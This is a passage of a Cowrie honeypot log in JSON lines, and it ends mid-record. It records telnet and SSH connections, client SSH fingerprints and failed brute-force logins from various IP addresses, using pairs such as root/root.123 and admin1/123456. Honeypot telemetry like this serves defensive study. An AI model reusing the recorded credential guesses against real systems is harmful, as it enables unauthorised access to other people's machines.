{"eventid":"cowrie.session.closed","duration":45.17710995674133,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:31.811686Z","src_ip":"165.232.131.181","session":"b6a25aa536d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.42530083656311,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:31.903480Z","src_ip":"62.210.97.77","session":"36f23e6f8150","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51706552505493,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:32.275468Z","src_ip":"62.210.97.77","session":"cc72cc5b2ec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.70717525482178,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:32.845297Z","src_ip":"62.210.97.77","session":"674f9c99a5f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.22755217552185,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:33.063808Z","src_ip":"62.210.97.77","session":"656c9e67d156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42584,"dst_ip":"10.17.0.5","dst_port":23,"session":"99efcb3073a6","protocol":"telnet","message":"New connection: 62.210.97.77:42584 (10.17.0.5:23) [session: 99efcb3073a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:33.073774Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54142,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d7401445699","protocol":"ssh","message":"New connection: 176.65.132.254:54142 (10.17.0.5:22) [session: 3d7401445699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:33.293362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:33.298592Z","src_ip":"176.65.132.254","session":"3d7401445699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.99005579948425,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:33.315264Z","src_ip":"62.210.97.77","session":"24f7336c218a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:33.381538Z","src_ip":"176.65.132.254","session":"3d7401445699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:33.641958Z","src_ip":"176.65.132.254","session":"3d7401445699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:34.848233Z","src_ip":"176.65.132.254","session":"3d7401445699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.76635122299194,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:35.272507Z","src_ip":"134.209.8.29","session":"29652131506c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54162,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d3f398975b2","protocol":"ssh","message":"New connection: 176.65.132.254:54162 (10.17.0.5:22) [session: 2d3f398975b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:37.277707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:37.389243Z","src_ip":"176.65.132.254","session":"2d3f398975b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:37.393799Z","src_ip":"176.65.132.254","session":"2d3f398975b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:37.737893Z","src_ip":"176.65.132.254","session":"2d3f398975b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:38.842466Z","src_ip":"176.65.132.254","session":"2d3f398975b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.016834020614624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:39.382131Z","src_ip":"62.210.97.77","session":"0a8d6c5c1998","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44588,"dst_ip":"10.17.0.5","dst_port":23,"session":"04ccffde4103","protocol":"telnet","message":"New connection: 62.210.97.77:44588 (10.17.0.5:23) [session: 04ccffde4103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:40.059516Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54166,"dst_ip":"10.17.0.5","dst_port":22,"session":"18e2ac424190","protocol":"ssh","message":"New connection: 176.65.132.254:54166 (10.17.0.5:22) [session: 18e2ac424190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:41.245448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:41.249872Z","src_ip":"176.65.132.254","session":"18e2ac424190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:41.342361Z","src_ip":"176.65.132.254","session":"18e2ac424190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:41.587644Z","src_ip":"176.65.132.254","session":"18e2ac424190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44594,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7e7e8ec779b","protocol":"telnet","message":"New connection: 62.210.97.77:44594 (10.17.0.5:23) [session: f7e7e8ec779b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:41.872668Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44598,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4badff848f0","protocol":"telnet","message":"New connection: 62.210.97.77:44598 (10.17.0.5:23) [session: b4badff848f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:42.153971Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:42.671950Z","src_ip":"176.65.132.254","session":"18e2ac424190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46768,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c857e25ff7a","protocol":"telnet","message":"New connection: 134.209.8.29:46768 (159.203.135.109:23) [session: 4c857e25ff7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:42.819669Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44604,"dst_ip":"10.17.0.5","dst_port":23,"session":"eadef4c19e3f","protocol":"telnet","message":"New connection: 62.210.97.77:44604 (10.17.0.5:23) [session: eadef4c19e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:43.678105Z"}
{"eventid":"cowrie.session.closed","duration":32.78205132484436,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:44.051367Z","src_ip":"62.210.97.77","session":"a2d9438d3631","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44600,"dst_ip":"10.17.0.5","dst_port":23,"session":"83646430dfb6","protocol":"telnet","message":"New connection: 62.210.97.77:44600 (10.17.0.5:23) [session: 83646430dfb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:44.398401Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44614,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c87b792289e","protocol":"telnet","message":"New connection: 62.210.97.77:44614 (10.17.0.5:23) [session: 8c87b792289e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:44.620603Z"}
{"eventid":"cowrie.session.closed","duration":34.254711627960205,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:44.626139Z","src_ip":"62.210.97.77","session":"e8b155eb14ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56860,"dst_ip":"159.203.135.109","dst_port":23,"session":"61fd364ff10c","protocol":"telnet","message":"New connection: 134.209.8.29:56860 (159.203.135.109:23) [session: 61fd364ff10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:44.829786Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38424,"dst_ip":"10.17.0.5","dst_port":22,"session":"988c027b391e","protocol":"ssh","message":"New connection: 176.65.132.254:38424 (10.17.0.5:22) [session: 988c027b391e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:45.320104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:45.325756Z","src_ip":"176.65.132.254","session":"988c027b391e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.25728464126587,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:45.356708Z","src_ip":"62.210.97.77","session":"4e7a3a339337","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:45.410126Z","src_ip":"176.65.132.254","session":"988c027b391e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.828667402267456,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:45.419194Z","src_ip":"62.210.97.77","session":"7b7170763337","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:45.661050Z","src_ip":"176.65.132.254","session":"988c027b391e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.25490856170654,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:46.355421Z","src_ip":"62.210.97.77","session":"19630ef23b8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.42123603820801,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:46.547307Z","src_ip":"62.210.97.77","session":"6aa7e3877664","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:46.746125Z","src_ip":"176.65.132.254","session":"988c027b391e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59056,"dst_ip":"10.17.0.5","dst_port":23,"session":"0429bcfdd045","protocol":"telnet","message":"New connection: 38.54.119.93:59056 (10.17.0.5:23) [session: 0429bcfdd045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:46.793443Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44624,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a17e8ddd2ac","protocol":"telnet","message":"New connection: 62.210.97.77:44624 (10.17.0.5:23) [session: 3a17e8ddd2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:46.958136Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":18044,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba24bebdc47","protocol":"ssh","message":"New connection: 152.32.189.59:18044 (159.203.135.109:22) [session: 1ba24bebdc47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:47.077179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:47.090207Z","src_ip":"152.32.189.59","session":"1ba24bebdc47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.58029055595398,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:47.176391Z","src_ip":"134.209.8.29","session":"b20731994161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46782,"dst_ip":"159.203.135.109","dst_port":23,"session":"48ddf5ce8b4d","protocol":"telnet","message":"New connection: 134.209.8.29:46782 (159.203.135.109:23) [session: 48ddf5ce8b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:47.343588Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:47.354070Z","src_ip":"152.32.189.59","session":"1ba24bebdc47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43106,"dst_ip":"10.17.0.5","dst_port":23,"session":"058fc455a90d","protocol":"telnet","message":"New connection: 65.60.27.33:43106 (10.17.0.5:23) [session: 058fc455a90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:47.605613Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44626,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd6958586a3","protocol":"telnet","message":"New connection: 62.210.97.77:44626 (10.17.0.5:23) [session: acd6958586a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:47.936543Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"54321","message":"login attempt [deploy/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:48.215054Z","src_ip":"152.32.189.59","session":"1ba24bebdc47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59894,"dst_ip":"10.17.0.5","dst_port":23,"session":"62deadbe8aba","protocol":"telnet","message":"New connection: 165.232.131.181:59894 (10.17.0.5:23) [session: 62deadbe8aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:49.011478Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38432,"dst_ip":"10.17.0.5","dst_port":22,"session":"46b49c4a0e80","protocol":"ssh","message":"New connection: 176.65.132.254:38432 (10.17.0.5:22) [session: 46b49c4a0e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:49.135993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:49.142097Z","src_ip":"176.65.132.254","session":"46b49c4a0e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha